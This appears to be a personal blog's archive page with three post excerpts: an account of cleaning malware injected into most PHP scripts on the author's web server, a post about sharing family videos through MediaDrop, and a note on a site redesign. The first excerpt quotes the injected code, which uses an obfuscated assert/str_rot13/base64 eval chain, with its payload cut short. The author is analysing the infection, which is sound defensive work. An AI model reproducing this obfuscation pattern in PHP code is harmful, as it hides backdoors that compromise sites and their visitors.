PHP on

Battle against injected PHP

Sun, 13 Nov 2016 14:18:51 +0000

My main personal web server became infected with some effin malware that was injected it very nearly every single .php script on the server. The injected code was basically:

//###=CACHE START=### @error_reporting(E_ALL); @ini_set(“error_log”,NULL); …etc

$strings = “as”; $strings .= “se”; $strings .= “rt”; $strings2 = “st”; $strings2 .= “r_r”; $strings2 .= “ot13”; $gbz = “riny(”.$strings2(“base64_decode”); $light = $strings2($gbz.’(“nJLtX….”));’); $strings($light); //###=CACHE END=###

This is kind of beautiful to me, it took me a little while to figure out what it does. In effect it causes basic system info for anyone browsing sites on that server to be sent off to some other php script on another server. At first I altered the server and my network to prevent any traffic from reaching the intended target. Instead I captured the traffic so I could get a look at the volume of it. Here’s an example apache log message generated by someone browsing an infected site:

Software > MediaDrop Automatic Transcoding Script

Fri, 03 Jan 2014 00:54:49 +0000

I’ve been working on a somewhat private personal website intended for sharing of family videos. I’ve converted roughly 200hrs of old family video tapes in to media files and am well on my way to having converted the files in to individual scenes/clips. The content is being shared, with family, using an instant of the web application “MediaDrop”. I love this web application. It’s epic. I was just looking for a podcast feed generator and I found a lot more in MediaDrop.

Dawning.ca Spruced Up

Fri, 15 Jan 2010 03:12:36 +0000

Previous Dawning.ca Layout

I’ve just spent a few hours re-designing the layout of Dawning.ca. The old one served me very well and I really liked it. I had heavily modified the previous theme to work for me and work it did. I may tap it some time in the future as a backup… As you can see to the right, the new style is fairly different compared to the image. Although I kept the workflow as I think it was already pretty good.